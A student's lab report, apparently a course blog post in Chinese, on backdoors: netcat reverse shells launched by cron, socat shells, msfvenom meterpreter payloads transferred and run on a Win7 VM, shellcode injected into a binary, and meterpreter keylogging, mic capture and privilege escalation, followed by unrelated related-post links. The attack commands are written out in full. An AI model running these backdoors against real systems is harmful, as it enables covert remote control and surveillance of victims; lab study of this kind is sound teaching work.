2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践

一、实验任务

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、实验步骤

1、使用netcat获取主机操作Shell,cron启动

在此任务中,我将kali作为受害机,MacOS系统作为攻击机

  • 在Mac终端中监听5315号端口,命令为nc -l 5315

  • 编辑一条定时任务,命令为crontab -e,选择vim.basic编辑器

  • 在编辑器中的最后一行加上06 * * * * /bin/netcat 10.0.0.165 5303 -e /bin/sh,使每个小时的第6分钟反向连接Mac主机的5315端口(我做实验正好是第5分钟,命令中IP地址为攻击机IP)

  • 1分钟后,3点06分时,攻击机获取了受害机的shell操作权,攻击成功

2、使用socat获取主机操作Shell, 任务计划启动

socat简介:

socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。

socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。

socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。

由于我的主机是MacOS系统,故没有按照老师的指导方法进行操作,具体操作参考自该博客

此项任务中我将MacOS系统作为受害机,Kali作为攻击机。

  • 在Mac命令行中下载socat,指令为brew install socat

  • 在受害机上执行socat tcp-l:5315 system:bash,pty,stderr指令,进行端口转发

  • 在攻击机中执行socat - tcp:10.1.1.165:5315,获取受害机shell操作权(命令中IP地址为受害机IP)

3、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

Meterpreter简介:

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。

Meterpreter shell作为渗透模块有很多有用的功能,比如打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

由于MacOS系统无法执行exe文件,故此任务我还是用了win7的虚拟机,按照老师的指导方法进行操作。

此项任务中我将Win7系统作为受害机,Kali作为攻击机。

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.188 LPORT=5315 -f exe > 20165315_backdoor.exe,生成后门程序“20155312_backdoor.exe”(命令中IP地址为攻击机IP)

  • 让受害机进入接收文件模式,指令为ncat -l 5315 > 20165315_backdoor.exe

  • 将生成的后门程序传送到Windows主机上,指令为nc 10.1.1.143 5315 < 20165315_backdoor.exe(命令中IP地址为受害机IP)

  • 在Kali中再打开一个终端,使用msfconsole指令进入msf控制台

  • 依次输入如下指令进行配置:
# use exploit/multi/handler
//使用监听模块,设置payload # set payload windows/meterpreter/reverse_tcp
//使用和生成后门程序时相同的payload # set LHOST 192.168.192.188
//这里用的是LinuxIP,和生成后门程序时指定的IP相同 # set LPORT 5315
//同样要使用相同的端口

  • 输入exploit开始监听

  • 在win7主机中运行后门程序,攻击机获取受害机Shell,指令为20165315_backdoor.exe

4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

在当前目录下可找到存储的音频文件:

  • 使用webcam_snap指令可以使用摄像头进行拍照

由于我的虚拟机是Win7系统,没有摄像功能,而主机又是MacOS系统,找了半天都没找到怎么开启摄像机...但是这个指令我已经明白如何使用,没有截图希望老师谅解~

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权,由于是Win7系统,提权失败

5、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

这一项任务还在尝试,如果做出来会有后期更新~

通过后期的尝试与参考这个博客,任务完成过程如下~

此项任务中我将Kali的终端1作为受害机,终端2作为攻击机(这是由于Windows系统无法执行pwn1文件)。

  • 通过MSF生成shellcode,并注入20165315pwn1,生成20165315_msf后门程序,指令为msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.196.190 LPORT=5315 -x /root/20165315/exp1/20165315pwn1 -f elf > 20165315_msf

  • 使用msfconsole控制台

  • 在另一个终端中,运行生成的20165315_msf文件,会发现控制台已获取该终端shell权限

三、实验中遇到的问题

在做任务三的时候,我本来想像任务二一样,在网上找一下针对mac的攻击教程,但是在运行到msf控制台时,发现执行exploit指令时,由于macOS系统无法执行exe文件,导致kali无法进行攻击(这说明macOS真的安全)

后来我查到一个博客,可以用msfvenom -p linux/x86/meterpreter/reverse_tcp lhost lport -f elf -o shell指令,虽然文件是生成了,但是...mac还是不能运行这个文件!太安全了导致实验做不了很难受了QAQ

解决过程:

大丈夫能屈能伸,我...最后还是选择了Win7虚拟机...如果有大神知道怎么攻击Mac麻烦在评论里指导我一下,蟹蟹!

四、实验总结

1、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

当朋友的QQ号被盗后,攻击者借QQ号向我发送自动下载恶意后门程序的链接,假称这是投票链接,如果我没有防范意识,直接点击链接,就会自动下载恶意程序,对电脑的安全造成很大的影响。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows可以使用任务计划,或者当在运行一个含有绑定后门程序的软件时,后门就可以被开启;linux可以使用cron定时触发,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的

(3)Meterpreter有哪些给你映像深刻的功能?

可以通过反向链接,获取所有执行了含后门的可执行文件的主机shell操作权,从而得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。

(4)如何发现自己有系统有没有被安装后门?

查看开机自启动项、任务计划程序中是否有可疑程序;安装专门的杀毒软件,实时防护;查看本机端口,判断是否有被异常开放的端口等等。

2、实验体会

这次实验趣味性很强,通过学习老师教程以及学长学姐的博客,基本都能够完成实验。在这次实验中,我学会了利用后门程序对主机进行注入攻击,学会了使用netcat、socat、meterpreter等,虽然内容简单,但我已经基本了解后门的基本原理。在今后的学习中,我将会进一步深入研究后门的各种理论知识。

本次实验也让我更加了解了一些网络攻击的手段,加强了网络安全防范意识。

2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. Servlet-Context学习笔记

    介绍 ServletContext其实就是全局作用域对象, 上下文环境对象 利用context可以实现对,当前网站中所有的Servlet共享数据 context对象只能由Tomcat负责创建,在tom ...

  2. 并发之痛 Thread,Goroutine,Actor

    转自:http://jolestar.com/parallel-programming-model-thread-goroutine-actor/ 先梳理下两个概念,几乎所有讲并发的文章都要先讲这两个 ...

  3. oracle 11g审计关闭,及删除日志

    转自https://blog.csdn.net/louwzh/article/details/51274955 环境:Linux redhat6.3 下安装的oracle11g oracle 11g推 ...

  4. JAVA体系学习-导向

    一:当前学习内容 数值类型处理总结,字符类型处理总结,日期类型处理总结 spring 事务源码分析 spring源码系列 二:当前学习 主攻:并发编程->RPC原理->MQ原理->- ...

  5. jq中的$操作符与其他js框架冲突

    解决办法: jq中存在方法:noConflict() 可返回对 jQuery 的引用. 使用示例: var jq = $.noConflict(); jq(document).ready(functi ...

  6. python-day7-静态方法、类方法、属性方法、特殊成员方法、反射、异常处理、socket

    @特殊方法.异常处理.反射.socket @类 属性 实例变量 类变量 私有属性__var 方法 构造方法, 析构函数(python自带,不写也有,写了相当与重构) 私有方法 继承 继承 组合 @7. ...

  7. js实现reqire中的amd,cmd功能

    js实现reqire中的amd,cmd功能 ,大概实现了 路径和模块 引入等重要功能. 本帖属于原创,转载请出名出处. <!DOCTYPE html PUBLIC "-//W3C//D ...

  8. 干货!微信自动跳转默认浏览器下载app的方法!

    现在微信渠道可以说是拉新最快的渠道,因为微信具备强裂变性.但是目前微信对第三方下载链接的拦截是越来越严格了,那么想要在微信内肆无忌惮地推广链接就需要用到微信跳转浏览器的接口,那如何获取该接口呢?   ...

  9. php连接mysql(linux下)

    一开始尝试了各种办法,.so文件拷贝了很多地方都失败了, 最后才知道 是编译php 没有开放 mysql ./configure --prefix=/usr/local/php5 --with-apx ...

  10. Visual Studio 2017 密匙

    趁着这两天微软发布了Visual Studio 2017,安装体验了这个史上最强IDE最新版,分享一下自己的安装过程: VS2017下载地址,该版本堪称史上最大IDE,随便勾了几个选项,就要占用几十个 ...